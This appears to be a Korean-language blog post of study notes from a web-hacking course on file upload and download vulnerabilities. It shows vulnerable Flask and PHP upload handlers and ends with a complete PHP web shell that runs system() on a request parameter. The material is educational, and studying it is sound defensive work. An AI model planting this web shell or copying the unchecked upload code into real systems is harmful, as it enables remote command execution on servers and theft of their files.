File Upload Vulnerability
공격자의 파일을 웹서비스 파일 시스템에 업로드하는 과정에서 발생
파일 시스템 상의 임의 경로에 원하는 파일 업로드, 악성 확장자 갖는 파일업로드 할 떄 발생
원하는 시스템 커맨드르 실행하는 원격 코드 실행 취약점을 유발
→ 이용자가 업로드 될 파일 이름을 임의로 정할 수 있을 때 발생
Path Traversal 취약점 : 업로드에 존재하는 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점
from flask import Flask, request
app = Flask(__name__)
@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
f.save("./uploads/" + f.filename)
return 'Upload Success'
else:
return """
<form action="/fileUpload" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit"/>
</form>
"""
if __name__ == '__main__':
app.ru
./fileUpload는 POST 요청 받으면 클라이언트가 전송한 파일을 ./uploads에 저장함.
파일이름을 f.filename으로 그대로 사용해서 취약함. 공격자가 상위 디렉토리에 파일을 업로드 할 수 있음.
악성 파일 업로드 : 이용자가 파일 업로드할때, 제대로 검사하지 않을때 발생
- 웹쉘
웹서버는 .php, .jsp, .asp와 같은 확장자 파일을 Common Gateway Interface로 실행하고 결과를 이용자에게 반환함.
<FilesMatch ".+\.ph(p[3457]?|t|tml)$"> SetHandler application/x-httpd-php</FilesMatch>
파일의 확장자가 정규표현식을 만족하면 x-httpd-php로 핸들링하게 하는 Apache설정파일임.
x-httpd-php는 PHP엔진이고 요청한 파일을 실행하고 그 결과를 반환함.
=> 많은 웹서버들이 php파일에 대해 위처럼 핸들링 지원 → 공격자가 임의의 php 소스 파일을 .php확장자로 업로드하고 GET요청 보낼 수 있으면 CGI에 의해 해당 코드 실행되도록 가능
- 악의적인 웹 리소스
웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리함
ex)
- 요청한 파일의 확장자가 .html이거나, 반환된 content-type헤더가 text/html일 경우 응답은 HTML엔진으로 처리 <..??
- 파일 확장자가 .png, .jpg등의 이미지 확장자, content-type이 image/png일 경우에 이미지로 렌더링됨.
- 공격자가 서버에 exploit.html을 업로드하고 이에 접근하는 URL이 https://dreamhack.io/uploads/exploit.html이면 브라우저는 html로 해석함. → exploit.html에 악의적인 스크립트 삽입시, XSS공격으로 이어질 수 있음.
File Download Vulnerability
웹 서비스의 파일 시스템에 존재하는 파일을 다운하는 과정에서 발생
공격자는 웹 서비스의 파일시스템에 존재하는 임의의 파일 다운로드 가능
설정파일, 패스워드파일, 데이터베이스 백업 본 등을 다운해서 민감한 정보 탈취, 2차 공격 수행 가능
→ 이용자가 다운로드할 파일 이름을 임의로 정할 수 있을 때 발생
image-storage
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
업로드 파일에 대해 검사하지 않음 → 웹 쉘 업로드 공격에 취약
//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 )
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre></body></html>
'보안 > 웹해킹' 카테고리의 다른 글
[DreamHack] Stage7-Command Injection (0) | 2023.03.24 |
---|---|
[DreamHack] Stage6-SQL Injection (0) | 2023.03.23 |
[DreamHack] Stage5-Cross Site Request Forgery (CSRF) (0) | 2023.03.23 |
[lord of SQLinjection] troll 문제풀이 (0) | 2021.08.04 |
[lord of SQLinjection] orge 문제풀이 (0) | 2021.08.04 |